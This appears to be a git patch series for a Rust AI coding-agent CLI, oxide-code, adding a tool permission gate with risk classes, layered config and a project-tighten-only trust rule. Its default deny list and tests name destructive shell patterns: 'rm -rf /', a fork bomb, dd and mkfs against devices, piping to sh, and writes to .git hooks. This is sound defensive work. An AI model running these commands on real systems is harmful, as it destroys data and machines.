assert!(rule.matches("read", &path("/etc/passwd", None), false)); + assert!(!rule.matches("read", &path("/home/u/.config", None), false)); + } + + #[test] + fn path_recursive_glob_spans_directories() { + let rule = Rule::parse("edit(src/**)").unwrap(); + assert!(rule.matches("edit", &path("/repo/src/a/b.rs", Some("src/a/b.rs")), false)); + } + + #[test] + fn rule_does_not_match_other_tools() { + let rule = Rule::parse("bash(ls)").unwrap(); + assert!(!rule.matches("edit", &cmd("ls"), false)); + } + + #[test] + fn bash_rule_ignores_path_target_and_vice_versa() { + let bash_rule = Rule::parse("bash(ls)").unwrap(); + assert!(!bash_rule.matches("bash", &path("/x", None), false)); + + let path_rule = Rule::parse("edit(src/**)").unwrap(); + assert!(!path_rule.matches("edit", &cmd("src/a"), false)); + } + + // ── glob_to_regex ── + + #[test] + fn glob_to_regex_escapes_literals_and_expands_star() { + // `.` is a regex metachar; it must stay literal so `a.b *` doesn't match `axb c`. + let re = glob_to_regex("a.b *"); + assert!(re.is_match("a.b c")); + assert!(!re.is_match("axb c")); + } + + #[test] + fn glob_to_regex_trailing_star_matches_any_suffix() { + let re = glob_to_regex("git *"); + assert!(re.is_match("git commit -m x")); + } + + // ── split_segments / is_compound ── + + #[test] + fn split_segments_drops_empty_halves_of_double_operators() { + let segs: Vec<_> = split_segments("a && b || c").collect(); + assert_eq!(segs, ["a", "b", "c"]); + } + + #[test] + fn is_compound_flags_chains_pipes_and_substitution() { + for c in ["a; b", "a && b", "a | b", "a\nb", "a $(b)", "a `b`"] { + assert!(is_compound(c), "{c:?} should be compound"); + } + assert!(!is_compound("cargo test --all")); + } +} diff --git a/crates/oxide-code/src/tool.rs b/crates/oxide-code/src/tool.rs index 8d1674d3..db90fd84 100644 --- a/crates/oxide-code/src/tool.rs +++ b/crates/oxide-code/src/tool.rs @@ -160,6 +160,19 @@ pub(crate) struct GrepMatchLine { // ── Tool Trait ── +/// How dangerous a tool's effects are, consulted by the permission gate. Read-only tools never +/// mutate and auto-allow; edit-class and execute gate by mode and rules. See +/// `docs/design/tools/permissions.md`. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub(crate) enum RiskClass { + /// Never mutates: `read`, `glob`, `grep`. + ReadOnly, + /// Mutates a file the call names: `edit`, `write`. + Edit, + /// Runs an opaque command with unbounded authority: `bash`. + Execute, +} + /// A tool that the agent can invoke. /// /// Per-instance metadata (name, icon, schema, input summary) lives on the trait so that adding a @@ -169,6 +182,10 @@ pub(crate) trait Tool: Send + Sync { fn description(&self) -> &'static str; fn input_schema(&self) -> serde_json::Value; + /// The tool's risk class for the permission gate. No default: each tool states its own so a + /// new tool cannot silently inherit a permissive class. + fn risk_class(&self) -> RiskClass; + fn icon(&self) -> &'static str { "⟡" } diff --git a/crates/oxide-code/src/tool/bash.rs b/crates/oxide-code/src/tool/bash.rs index 231a4b18..1cb661ca 100644 --- a/crates/oxide-code/src/tool/bash.rs +++ b/crates/oxide-code/src/tool/bash.rs @@ -30,6 +30,10 @@ impl Tool for BashTool { "Execute a shell command and return its output." } + fn risk_class(&self) -> super::RiskClass { + super::RiskClass::Execute + } + fn input_schema(&self) -> serde_json::Value { serde_json::json!({ "type": "object", diff --git a/crates/oxide-code/src/tool/edit.rs b/crates/oxide-code/src/tool/edit.rs index 5c0be357..e0bd4829 100644 --- a/crates/oxide-code/src/tool/edit.rs +++ b/crates/oxide-code/src/tool/edit.rs @@ -37,6 +37,10 @@ impl Tool for EditTool { and to files that changed externally since the last Read." } + fn risk_class(&self) -> super::RiskClass { + super::RiskClass::Edit + } + fn input_schema(&self) -> serde_json::Value { serde_json::json!({ "type": "object", diff --git a/crates/oxide-code/src/tool/glob.rs b/crates/oxide-code/src/tool/glob.rs index cc99de82..91c00af9 100644 --- a/crates/oxide-code/src/tool/glob.rs +++ b/crates/oxide-code/src/tool/glob.rs @@ -21,6 +21,10 @@ impl Tool for GlobTool { "Find files matching a glob pattern. Returns paths sorted by modification time (newest first)." } + fn risk_class(&self) -> super::RiskClass { + super::RiskClass::ReadOnly + } + fn input_schema(&self) -> serde_json::Value { serde_json::json!({ "type": "object", diff --git a/crates/oxide-code/src/tool/grep.rs b/crates/oxide-code/src/tool/grep.rs index 9e215fbd..47814090 100644 --- a/crates/oxide-code/src/tool/grep.rs +++ b/crates/oxide-code/src/tool/grep.rs @@ -26,6 +26,10 @@ impl Tool for GrepTool { "Search file contents using a regular expression." } + fn risk_class(&self) -> super::RiskClass { + super::RiskClass::ReadOnly + } + fn input_schema(&self) -> serde_json::Value { serde_json::json!({ "type": "object", diff --git a/crates/oxide-code/src/tool/read.rs b/crates/oxide-code/src/tool/read.rs index 7e85a021..fbe8982d 100644 --- a/crates/oxide-code/src/tool/read.rs +++ b/crates/oxide-code/src/tool/read.rs @@ -39,6 +39,10 @@ impl Tool for ReadTool { "Read the contents of a file with line numbers." } + fn risk_class(&self) -> super::RiskClass { + super::RiskClass::ReadOnly + } + fn input_schema(&self) -> serde_json::Value { serde_json::json!({ "type": "object", diff --git a/crates/oxide-code/src/tool/write.rs b/crates/oxide-code/src/tool/write.rs index 59f4bb76..bd9e1121 100644 --- a/crates/oxide-code/src/tool/write.rs +++ b/crates/oxide-code/src/tool/write.rs @@ -33,6 +33,10 @@ impl Tool for WriteTool { Creating a brand-new file bypasses the gate." } + fn risk_class(&self) -> super::RiskClass { + super::RiskClass::Edit + } + fn input_schema(&self) -> serde_json::Value { serde_json::json!({ "type": "object", From f774da37b0ec5e3a07be3214d3d8a7eb0638670e Mon Sep 17 00:00:00 2001 From: Hakula Chen Date: Thu, 25 Jun 2026 11:47:45 +0800 Subject: [PATCH 03/16] feat(config): layer permission policy with project-tighten-only trust Wires the permission policy through config resolution. Adds a `[permission]` block (mode, allow, deny) to the file config with append-merge across layers, resolves it in `Config::load` behind an `OX_PERMISSION_MODE` env override, and surfaces the mode in `/config`. A project `ox.toml` is untrusted, so `reject_project_permissions` blocks project-set mode and allow (the widening levers) while honoring deny, mirroring how `reject_project_secrets` guards credentials. The shipped dangerous-pattern defaults seed every resolved deny set. --- .../src/client/anthropic/testing.rs | 1 + crates/oxide-code/src/config.rs | 78 +++++++++ crates/oxide-code/src/config/file.rs | 157 ++++++++++++++++++ crates/oxide-code/src/permission.rs | 88 +++++++++- crates/oxide-code/src/slash.rs | 1 + crates/oxide-code/src/slash/config.rs | 10 +- crates/oxide-code/src/tui/app.rs | 1 + .../oxide-code/src/tui/components/welcome.rs | 1 + 8 files changed, 327 insertions(+), 10 deletions(-) diff --git a/crates/oxide-code/src/client/anthropic/testing.rs b/crates/oxide-code/src/client/anthropic/testing.rs index bd2e1b95..38e9c3a9 100644 --- a/crates/oxide-code/src/client/anthropic/testing.rs +++ b/crates/oxide-code/src/client/anthropic/testing.rs @@ -18,6 +18,7 @@ pub(crate) fn test_config(base_url: impl Into, auth: Auth, model: &str) max_tool_rounds: None, prompt_cache_ttl: PromptCacheTtl::OneHour, compaction: CompactionConfig::disabled(), + permission: crate::permission::Policy::default(), thinking: None, show_thinking: false, show_welcome: true, diff --git a/crates/oxide-code/src/config.rs b/crates/oxide-code/src/config.rs index 210b36cf..1fea6178 100644 --- a/crates/oxide-code/src/config.rs +++ b/crates/oxide-code/src/config.rs @@ -60,6 +60,7 @@ pub(crate) struct ConfigSnapshot { pub(crate) max_tool_rounds: Option, pub(crate) prompt_cache_ttl: PromptCacheTtl, pub(crate) compaction: CompactionConfig, + pub(crate) permission_mode: crate::permission::Mode, pub(crate) show_thinking: bool, pub(crate) show_welcome: bool, pub(crate) status_line: Vec, @@ -350,6 +351,7 @@ pub(crate) struct Config { pub(crate) max_tool_rounds: Option, pub(crate) prompt_cache_ttl: PromptCacheTtl, pub(crate) compaction: CompactionConfig, + pub(crate) permission: crate::permission::Policy, pub(crate) thinking: Option, pub(crate) show_thinking: bool, pub(crate) show_welcome: bool, @@ -456,6 +458,8 @@ impl Config { let compaction = resolve_compaction(client.compaction, &model, max_tokens)?; + let permission = resolve_permission(fc.permission)?; + let theme_name = theme_config .base .clone() @@ -475,6 +479,7 @@ impl Config { max_tool_rounds, prompt_cache_ttl, compaction, + permission, thinking, show_thinking, show_welcome, @@ -496,6 +501,7 @@ impl Config { max_tool_rounds: self.max_tool_rounds, prompt_cache_ttl: self.prompt_cache_ttl, compaction: self.compaction, + permission_mode: self.permission.mode(), show_thinking: self.show_thinking, show_welcome: self.show_welcome, status_line: self.status_line.clone(), @@ -587,6 +593,25 @@ fn resolve_compaction( resolve_compaction_policy(policy, model, max_tokens) } +/// Resolves the permission policy from the merged file config plus the `OX_PERMISSION_MODE` +/// override. The env mode wins over the file mode with the empty-is-absent and parse-error- +/// propagates behavior `effort` uses, so a typo fails loudly rather than defaulting permissive. +/// Allow / deny rule strings are parsed here so a malformed rule surfaces at load. +fn resolve_permission( + file: Option, +) -> Result { + let file = file.unwrap_or_default(); + + let mode = match env::string("OX_PERMISSION_MODE") { + Some(raw) => raw.parse().context("OX_PERMISSION_MODE")?, + None => file.mode.unwrap_or_default(), + }; + + let allow = file.allow.unwrap_or_default(); + let deny = file.deny.unwrap_or_default(); + crate::permission::Policy::resolve(mode, &allow, &deny) +} + fn resolve_compaction_policy( policy: AutoCompactionPolicy, model: &str, @@ -833,6 +858,7 @@ mod tests { "OX_SHOW_WELCOME", "OX_STATUS_LINE", "OX_PROMPT_CACHE_TTL", + "OX_PERMISSION_MODE", "XDG_CONFIG_HOME", ]; @@ -902,6 +928,7 @@ mod tests { assert_eq!(config.status_line, StatusLineSegment::DEFAULT); assert!(matches!(config.auth, Auth::ApiKey(k) if k == "sk-default")); assert_eq!(config.theme_name, DEFAULT_THEME); + assert_eq!(config.permission.mode(), crate::permission::Mode::Auto); } #[tokio::test] @@ -1326,6 +1353,54 @@ mod tests { assert_eq!(config.compaction.auto.threshold_tokens, None); } + // ── resolve_permission ── + + #[tokio::test] + async fn load_permission_mode_env_beats_file() { + let dir = tempfile::tempdir().unwrap(); + write_user_config( + dir.path(), + indoc::indoc! {r#" + [permission] + mode = "plan" + "#}, + ); + let vars = env_vars(vec![xdg(&dir), env("OX_PERMISSION_MODE", "yolo")]); + let config = temp_env::async_with_vars(vars, Config::load()) + .await + .unwrap(); + assert_eq!(config.permission.mode(), crate::permission::Mode::Yolo); + } + + #[tokio::test] + async fn load_permission_invalid_mode_env_errors() { + let dir = tempfile::tempdir().unwrap(); + let vars = env_vars(vec![xdg(&dir), env("OX_PERMISSION_MODE", "bypass")]); + let err = temp_env::async_with_vars(vars, Config::load()) + .await + .expect_err("invalid mode must propagate"); + let msg = format!("{err:#}"); + assert!(msg.contains("OX_PERMISSION_MODE"), "{msg}"); + assert!(msg.contains("invalid permission mode"), "{msg}"); + } + + #[tokio::test] + async fn load_permission_invalid_rule_in_file_errors() { + let dir = tempfile::tempdir().unwrap(); + write_user_config( + dir.path(), + indoc::indoc! {r#" + [permission] + allow = ["edit(src/**/[)"] + "#}, + ); + let vars = env_vars(vec![xdg(&dir)]); + let err = temp_env::async_with_vars(vars, Config::load()) + .await + .expect_err("malformed rule must propagate"); + assert!(format!("{err:#}").contains("invalid path glob")); + } + #[tokio::test] async fn load_invalid_max_tokens_env_errors() { let dir = tempfile::tempdir().unwrap(); @@ -1686,6 +1761,8 @@ mod tests { enabled: true, threshold_tokens: Some(42), }), + permission: crate::permission::Policy::resolve(crate::permission::Mode::Plan, &[], &[]) + .unwrap(), thinking: None, show_thinking: true, show_welcome: false, @@ -1709,6 +1786,7 @@ mod tests { assert_eq!(snap.max_tool_rounds, Some(100)); assert_eq!(snap.prompt_cache_ttl, PromptCacheTtl::FiveMin); assert_eq!(snap.compaction.auto.threshold_tokens, Some(42)); + assert_eq!(snap.permission_mode, crate::permission::Mode::Plan); assert!(snap.show_thinking); assert!(!snap.show_welcome); assert_eq!( diff --git a/crates/oxide-code/src/config/file.rs b/crates/oxide-code/src/config/file.rs index cf9f042a..8d120c4c 100644 --- a/crates/oxide-code/src/config/file.rs +++ b/crates/oxide-code/src/config/file.rs @@ -21,6 +21,7 @@ const PROJECT_CONFIG_FILENAME: &str = "ox.toml"; #[serde(deny_unknown_fields)] pub(super) struct FileConfig { pub(super) client: Option, + pub(super) permission: Option, pub(super) tui: Option, } @@ -51,6 +52,17 @@ pub(super) struct CompactionConfig { pub(super) threshold_percent: Option, } +/// `[permission]` block. `mode` and `allow` are user / env-only, so a checked-in project `ox.toml` +/// setting either is rejected by [`reject_project_permissions`]; `deny` append-merges across layers +/// so a project can only tighten. `allow` and `deny` are raw rule strings, parsed in `Config::load`. +#[derive(Debug, Default, Deserialize)] +#[serde(deny_unknown_fields)] +pub(super) struct PermissionFileConfig { + pub(super) mode: Option, + pub(super) allow: Option>, + pub(super) deny: Option>, +} + #[derive(Debug, Default, Deserialize)] #[serde(deny_unknown_fields)] pub(super) struct TuiConfig { @@ -74,6 +86,11 @@ impl FileConfig { fn merge(self, other: Self) -> Self { Self { client: merge_section(self.client, other.client, ClientConfig::merge), + permission: merge_section( + self.permission, + other.permission, + PermissionFileConfig::merge, + ), tui: merge_section(self.tui, other.tui, TuiConfig::merge), } } @@ -95,6 +112,19 @@ impl ClientConfig { } } +impl PermissionFileConfig { + /// `mode`: other wins. `allow` / `deny`: append `other` onto `self` so a higher-precedence + /// layer widens rather than replaces. Project trust is enforced before merge in + /// [`reject_project_permissions`], so by here every layer is allowed to contribute. + fn merge(self, other: Self) -> Self { + Self { + mode: other.mode.or(self.mode), + allow: append_rules(self.allow, other.allow), + deny: append_rules(self.deny, other.deny), + } + } +} + impl CompactionConfig { fn merge(self, other: Self) -> Self { let other_sets_threshold = @@ -148,6 +178,19 @@ fn merge_section(base: Option, other: Option, merge: fn(T, T) -> T) -> } } +/// Concatenates two optional rule lists, `base` first. `None` is the empty list, so the result is +/// `Some` whenever either layer set rules. Append (not replace) keeps a higher-precedence layer +/// widening rather than discarding the lower layer's rules. +fn append_rules(base: Option>, other: Option>) -> Option> { + match (base, other) { + (Some(mut b), Some(o)) => { + b.extend(o); + Some(b) + } + (base, other) => other.or(base), + } +} + // ── Loading ── /// Loads + merges user and project TOML. Project config wins for non-secret fields; credential @@ -173,6 +216,7 @@ fn load_project_file(path: &Path) -> Result> { let config = load_file(path)?; if let Some(config) = &config { reject_project_secrets(config, path)?; + reject_project_permissions(config, path)?; } Ok(config) } @@ -203,6 +247,33 @@ fn reject_project_secrets(config: &FileConfig, path: &Path) -> Result<()> { ) } +/// A project `ox.toml` is untrusted, so it may tighten permissions but never widen them. `mode` and +/// `allow` are user / env-only; only `deny` (which can only restrict) is honored from a project +/// file. Setting either blocked field is a hard error rather than a silent drop so the user learns +/// the rule did not take effect. +fn reject_project_permissions(config: &FileConfig, path: &Path) -> Result<()> { + let Some(permission) = &config.permission else { + return Ok(()); + }; + + let mut blocked = Vec::new(); + if permission.mode.is_some() { + blocked.push("permission.mode"); + } + if permission.allow.is_some() { + blocked.push("permission.allow"); + } + if blocked.is_empty() { + return Ok(()); + } + + bail!( + "{} cannot set {}; a project file may only add permission.deny. Move mode and allow rules to ~/.config/ox/config.toml or environment variables", + path.display(), + blocked.join(", "), + ) +} + /// `Ok(None)` when missing; `Err` when present but unreadable or malformed. fn load_file(path: &Path) -> Result> { let content = match std::fs::read_to_string(path) { @@ -274,6 +345,7 @@ mod tests { threshold_percent: None, }), }), + permission: None, tui: Some(TuiConfig { show_thinking: Some(false), show_welcome: None, @@ -297,6 +369,7 @@ mod tests { threshold_percent: Some(40), }), }), + permission: None, tui: Some(TuiConfig { show_thinking: Some(true), show_welcome: None, @@ -368,6 +441,7 @@ mod tests { threshold_percent: None, }), }), + permission: None, tui: Some(TuiConfig { show_thinking: Some(true), show_welcome: None, @@ -407,10 +481,12 @@ mod tests { model: Some("base-model".to_owned()), ..Default::default() }), + permission: None, tui: None, }; let other = FileConfig { client: None, + permission: None, tui: Some(TuiConfig { show_thinking: Some(true), show_welcome: None, @@ -489,6 +565,42 @@ mod tests { assert!(map.contains_key("error")); } + // ── PermissionFileConfig::merge ── + + fn permission_with(mode: Option<&str>, allow: &[&str], deny: &[&str]) -> PermissionFileConfig { + let to_vec = + |rs: &[&str]| (!rs.is_empty()).then(|| rs.iter().map(|s| (*s).to_owned()).collect()); + PermissionFileConfig { + mode: mode.map(|m| m.parse().unwrap()), + allow: to_vec(allow), + deny: to_vec(deny), + } + } + + #[test] + fn permission_merge_appends_rules_rather_than_replacing() { + // The append, not replace, contract: a higher-precedence layer widens the lower one's + // deny list rather than discarding it. + let base = permission_with(None, &["bash(ls)"], &["bash(rm:*)"]); + let other = permission_with(None, &["bash(cat:*)"], &["bash(curl:*)"]); + let merged = base.merge(other); + assert_eq!( + merged.allow.as_deref(), + Some(&["bash(ls)".to_owned(), "bash(cat:*)".to_owned()][..]), + ); + assert_eq!( + merged.deny.as_deref(), + Some(&["bash(rm:*)".to_owned(), "bash(curl:*)".to_owned()][..]), + ); + } + + #[test] + fn permission_merge_other_mode_wins() { + let base = permission_with(Some("auto"), &[], &[]); + let other = permission_with(Some("plan"), &[], &[]); + assert_eq!(base.merge(other).mode, Some(crate::permission::Mode::Plan)); + } + // ── load_project_file ── #[test] @@ -558,6 +670,51 @@ mod tests { assert_eq!(config.tui.unwrap().show_welcome, Some(false)); } + #[test] + fn load_project_file_rejects_permission_mode_and_allow() { + // A project file may tighten (deny) but never widen (mode / allow), so both are blocked. + let dir = tempfile::tempdir().unwrap(); + let path = dir.path().join(PROJECT_CONFIG_FILENAME); + std::fs::write( + &path, + indoc! {r#" + [permission] + mode = "yolo" + allow = ["bash(rm -rf:*)"] + "#}, + ) + .unwrap(); + + let err = load_project_file(&path).expect_err("project widening must be blocked"); + let msg = format!("{err:#}"); + assert!(msg.contains("permission.mode"), "{msg}"); + assert!(msg.contains("permission.allow"), "{msg}"); + assert!(msg.contains("only add permission.deny"), "{msg}"); + } + + #[test] + fn load_project_file_allows_permission_deny() { + let dir = tempfile::tempdir().unwrap(); + let path = dir.path().join(PROJECT_CONFIG_FILENAME); + std::fs::write( + &path, + indoc! {r#" + [permission] + deny = ["bash(git push:*)"] + "#}, + ) + .unwrap(); + + let config = load_project_file(&path) + .expect("project deny should parse") + .expect("file exists"); + let permission = config.permission.expect("permission section present"); + assert_eq!( + permission.deny.as_deref(), + Some(&["bash(git push:*)".to_owned()][..]) + ); + } + // ── load_file ── #[test] diff --git a/crates/oxide-code/src/permission.rs b/crates/oxide-code/src/permission.rs index aa71bdd0..0eed155c 100644 --- a/crates/oxide-code/src/permission.rs +++ b/crates/oxide-code/src/permission.rs @@ -11,6 +11,7 @@ use std::fmt; use std::str::FromStr; use anyhow::{Result, bail}; +use serde::{Deserialize, Serialize}; use crate::permission::rule::Rule; use crate::tool::RiskClass; @@ -19,7 +20,8 @@ use crate::tool::RiskClass; /// The standing permission posture, shaped like [`crate::config::Effort`] so it threads through /// config and a future `/permission` control the same way. -#[derive(Debug, Clone, Copy, PartialEq, Eq, Default)] +#[derive(Debug, Clone, Copy, PartialEq, Eq, Default, Serialize, Deserialize)] +#[serde(rename_all = "lowercase")] pub(crate) enum Mode { /// Tiered pipeline: static rules settle the obvious cases, the rest asks. #[default] @@ -65,6 +67,27 @@ impl FromStr for Mode { } } +// ── Dangerous Defaults ── + +/// Deny rules seeded ahead of user rules in `auto` and `plan`. These are ordinary deny rules, not +/// an immune tier: `yolo` bypasses them like any other deny, and a future per-rule opt-out can +/// remove one. They block the catastrophic shapes that a `safe` classifier verdict must never be +/// able to wave through, plus writes to repository metadata that could escalate via hook injection. +const DANGEROUS_DEFAULTS: &[&str] = &[ + "bash(rm -rf:*)", + "bash(rm -fr:*)", + "bash(:(){ :|:& };:)", + "bash(* > /dev/sd*)", + "bash(dd *of=/dev/*)", + "bash(mkfs*)", + "bash(* | sh)", + "bash(* | bash)", + "write(.git/**)", + "write(.ox/**)", + "edit(.git/**)", + "edit(.ox/**)", +]; + // ── Target ── /// What a tool call acts on, matched against rule specifiers. `bash` carries its command string; @@ -120,6 +143,19 @@ impl Policy { Self { mode, allow, deny } } + /// Builds a policy from a resolved mode and the raw allow / deny rule strings, seeding the deny + /// set with [`DANGEROUS_DEFAULTS`] ahead of the user rules. A malformed rule fails here so a + /// typo surfaces at config load rather than mid-turn. + pub(crate) fn resolve(mode: Mode, allow: &[String], deny: &[String]) -> Result { + let mut deny_rules = parse_rules(DANGEROUS_DEFAULTS)?; + deny_rules.extend(parse_rules(deny)?); + Ok(Self { + mode, + allow: parse_rules(allow)?, + deny: deny_rules, + }) + } + pub(crate) const fn mode(&self) -> Mode { self.mode } @@ -166,8 +202,8 @@ impl Policy { /// Parses a list of `tool(specifier)` rule strings, failing on the first malformed entry so a typo /// surfaces at config load rather than silently dropping a deny. -pub(crate) fn parse_rules(raw: &[String]) -> Result> { - raw.iter().map(|s| Rule::parse(s)).collect() +pub(crate) fn parse_rules(raw: &[impl AsRef]) -> Result> { + raw.iter().map(|s| Rule::parse(s.as_ref())).collect() } #[cfg(test)] @@ -175,10 +211,11 @@ mod tests { use super::*; fn policy(mode: Mode, allow: &[&str], deny: &[&str]) -> Policy { - let parse = |rs: &[&str]| { - parse_rules(&rs.iter().map(|s| (*s).to_owned()).collect::>()).unwrap() - }; - Policy::new(mode, parse(allow), parse(deny)) + Policy::new( + mode, + parse_rules(allow).unwrap(), + parse_rules(deny).unwrap(), + ) } fn command(s: &str) -> Target<'_> { @@ -319,4 +356,41 @@ mod tests { Decision::Ask ); } + + // ── Policy::resolve ── + + #[test] + fn resolve_seeds_dangerous_defaults_into_the_deny_set() { + // A user with no deny rules of their own is still protected from `rm -rf` and `.git` writes. + let p = Policy::resolve(Mode::Auto, &[], &[]).unwrap(); + assert_eq!( + p.decide("bash", RiskClass::Execute, &command("rm -rf /")), + Decision::Deny, + ); + assert_eq!( + p.decide( + "write", + RiskClass::Edit, + &inside_cwd("/repo/.git/hooks/pre-commit", ".git/hooks/pre-commit"), + ), + Decision::Deny, + ); + } + + #[test] + fn resolve_yolo_bypasses_even_the_dangerous_defaults() { + let p = Policy::resolve(Mode::Yolo, &[], &[]).unwrap(); + assert_eq!( + p.decide("bash", RiskClass::Execute, &command("rm -rf /")), + Decision::Allow, + ); + } + + #[test] + fn resolve_propagates_a_malformed_rule() { + let err = Policy::resolve(Mode::Auto, &["edit(src/**/[)".to_owned()], &[]) + .unwrap_err() + .to_string(); + assert!(err.contains("invalid path glob"), "got: {err}"); + } } diff --git a/crates/oxide-code/src/slash.rs b/crates/oxide-code/src/slash.rs index 2b10f462..2cc441f2 100644 --- a/crates/oxide-code/src/slash.rs +++ b/crates/oxide-code/src/slash.rs @@ -144,6 +144,7 @@ pub(crate) fn test_session_info() -> LiveSessionInfo { enabled: true, threshold_tokens: Some(155_000), }), + permission_mode: crate::permission::Mode::Auto, show_thinking: false, show_welcome: true, status_line: crate::config::StatusLineSegment::DEFAULT.to_vec(), diff --git a/crates/oxide-code/src/slash/config.rs b/crates/oxide-code/src/slash/config.rs index f4a12d57..871076f5 100644 --- a/crates/oxide-code/src/slash/config.rs +++ b/crates/oxide-code/src/slash/config.rs @@ -70,6 +70,10 @@ fn build_modal( "Auto Compaction".to_owned(), display_auto_compaction(cfg.compaction.auto), ), + ( + "Permission Mode".to_owned(), + cfg.permission_mode.to_string(), + ), ( "Show Thinking".to_owned(), display_bool(cfg.show_thinking).to_owned(), @@ -161,11 +165,11 @@ mod tests { #[test] fn build_modal_height_accounts_for_both_sections() { - // title + blank + (heading + blank + 11 rows) + blank + (heading + blank + 2 rows) - // + blank + footer = 2 + 13 + 1 + 4 + 2 = 22. + // title + blank + (heading + blank + 12 rows) + blank + (heading + blank + 2 rows) + // + blank + footer = 2 + 14 + 1 + 4 + 2 = 23. let info = test_session_info(); let m = build_modal(&info, None, None); - assert_eq!(m.height(80), 22); + assert_eq!(m.height(80), 23); } #[test] diff --git a/crates/oxide-code/src/tui/app.rs b/crates/oxide-code/src/tui/app.rs index 6ff1ce9f..aa4be3bb 100644 --- a/crates/oxide-code/src/tui/app.rs +++ b/crates/oxide-code/src/tui/app.rs @@ -972,6 +972,7 @@ mod tests { enabled: true, threshold_tokens: Some(155_000), }), + permission_mode: crate::permission::Mode::Auto, show_thinking: false, show_welcome: true, status_line: crate::config::StatusLineSegment::DEFAULT.to_vec(), diff --git a/crates/oxide-code/src/tui/components/welcome.rs b/crates/oxide-code/src/tui/components/welcome.rs index b0bf4adf..e266aa1e 100644 --- a/crates/oxide-code/src/tui/components/welcome.rs +++ b/crates/oxide-code/src/tui/components/welcome.rs @@ -362,6 +362,7 @@ mod tests { enabled: true, threshold_tokens: Some(test_thresholds::WINDOW_1M), }), + permission_mode: crate::permission::Mode::Auto, show_thinking: false, show_welcome: true, status_line: crate::config::StatusLineSegment::DEFAULT.to_vec(), From df0e88b21862e1c5266923f9cc9d31e1e375c47e Mon Sep 17 00:00:00 2001 From: Hakula Chen Date: Thu, 25 Jun 2026 11:57:12 +0800 Subject: [PATCH 04/16] feat(permission): extract gate targets from tool inputs Adds `Tool::gate_target`, which pulls what the gate matches rules against out of a call's input: `bash` yields its command, `edit` / `write` the canonicalized target path, and every other tool the default `None` (only a tool-wide rule matches). Read-only tools need no path extraction in Phase 1. `GateTarget::for_path` resolves a path against cwd, canonicalizing an existing file and lexically normalizing a not-yet-created one so a `../escape` traversal can never read as inside-cwd. Owned target plus a borrowing `as_target` keeps the matcher allocation-free. --- crates/oxide-code/src/permission.rs | 121 +++++++++++++++++++++++++++- crates/oxide-code/src/tool.rs | 8 ++ crates/oxide-code/src/tool/bash.rs | 10 +++ crates/oxide-code/src/tool/edit.rs | 10 +++ crates/oxide-code/src/tool/write.rs | 10 +++ 5 files changed, 158 insertions(+), 1 deletion(-) diff --git a/crates/oxide-code/src/permission.rs b/crates/oxide-code/src/permission.rs index 0eed155c..d5fd1850 100644 --- a/crates/oxide-code/src/permission.rs +++ b/crates/oxide-code/src/permission.rs @@ -92,9 +92,12 @@ const DANGEROUS_DEFAULTS: &[&str] = &[ /// What a tool call acts on, matched against rule specifiers. `bash` carries its command string; /// path tools carry the canonicalized absolute path plus the cwd-relative path when the target sits -/// inside the working directory (the same value drives the inside-cwd allow at step 3). +/// inside the working directory (the same value drives the inside-cwd allow at step 3). `None` is a +/// tool with no extractable specifier (a read-only tool, or a call missing its path argument): only +/// a tool-wide rule can match it. #[derive(Debug, Clone)] pub(crate) enum Target<'a> { + None, Command(&'a str), Path { canonical: &'a str, @@ -116,6 +119,56 @@ impl Target<'_> { } } +/// Owned form of [`Target`] produced by [`crate::tool::Tool::gate_target`]. A tool extracts the +/// command or canonicalized path from its input once; the borrowing [`Self::as_target`] then feeds +/// the allocation-free matcher. Owned because a canonicalized path is not a substring of the input. +#[derive(Debug, Clone, Default)] +pub(crate) enum GateTarget { + /// No extractable specifier; only a tool-wide rule matches. + #[default] + None, + Command(String), + Path { + canonical: String, + relative: Option, + }, +} + +impl GateTarget { + /// Builds a path target by resolving `path` against `cwd`. An existing path is canonicalized + /// (resolving symlinks and `..`); a path that cannot canonicalize yet (e.g. a brand-new file) + /// falls back to a lexical normalization that still resolves `..`, so a `../escape` traversal + /// can never masquerade as inside-cwd. The relative component is set only when the resolved + /// path stays inside `cwd`, which drives the inside-cwd auto-allow. + pub(crate) fn for_path(path: &str, cwd: &std::path::Path) -> Self { + let joined = cwd.join(path); + let canonical = + std::fs::canonicalize(&joined).unwrap_or_else(|_| lexical_normalize(&joined)); + let relative = canonical + .strip_prefix(cwd) + .ok() + .map(|r| r.to_string_lossy().into_owned()); + Self::Path { + canonical: canonical.to_string_lossy().into_owned(), + relative, + } + } + + pub(crate) fn as_target(&self) -> Target<'_> { + match self { + Self::None => Target::None, + Self::Command(cmd) => Target::Command(cmd), + Self::Path { + canonical, + relative, + } => Target::Path { + canonical, + relative: relative.as_deref(), + }, + } + } +} + // ── Decision ── /// The pipeline's verdict for one call. `Ask` resolves interactively or, in headless mode, to a @@ -206,6 +259,25 @@ pub(crate) fn parse_rules(raw: &[impl AsRef]) -> Result> { raw.iter().map(|s| Rule::parse(s.as_ref())).collect() } +/// Resolves `.` and `..` components in `path` without touching the filesystem, used when a target +/// path does not yet exist so [`std::fs::canonicalize`] cannot. A leading `..` that would escape +/// the root is dropped, matching how the OS clamps traversal at `/`. +fn lexical_normalize(path: &std::path::Path) -> std::path::PathBuf { + use std::path::Component; + + let mut out = std::path::PathBuf::new(); + for component in path.components() { + match component { + Component::ParentDir => { + _ = out.pop(); + } + Component::CurDir => {} + other => out.push(other), + } + } + out +} + #[cfg(test)] mod tests { use super::*; @@ -251,6 +323,53 @@ mod tests { assert!(err.contains("invalid permission mode"), "got: {err}"); } + // ── GateTarget::for_path ── + + #[test] + fn for_path_inside_cwd_sets_relative_component() { + let dir = tempfile::tempdir().unwrap(); + let cwd = std::fs::canonicalize(dir.path()).unwrap(); + std::fs::write(cwd.join("a.rs"), "x").unwrap(); + + let GateTarget::Path { + canonical, + relative, + } = GateTarget::for_path("a.rs", &cwd) + else { + panic!("expected a path target"); + }; + assert!(canonical.ends_with("a.rs"), "canonical: {canonical}"); + assert_eq!(relative.as_deref(), Some("a.rs")); + } + + #[test] + fn for_path_brand_new_file_still_resolves_relative() { + // A not-yet-created file under cwd can't canonicalize, but the lexical join keeps it + // inside-cwd so the step-3 allow still applies to new-file writes. + let dir = tempfile::tempdir().unwrap(); + let cwd = std::fs::canonicalize(dir.path()).unwrap(); + let target = GateTarget::for_path("new/file.rs", &cwd); + assert!(target.as_target().is_inside_cwd()); + } + + #[test] + fn for_path_outside_cwd_has_no_relative_component() { + let dir = tempfile::tempdir().unwrap(); + let cwd = std::fs::canonicalize(dir.path()).unwrap(); + let target = GateTarget::for_path("/etc/hosts", &cwd); + 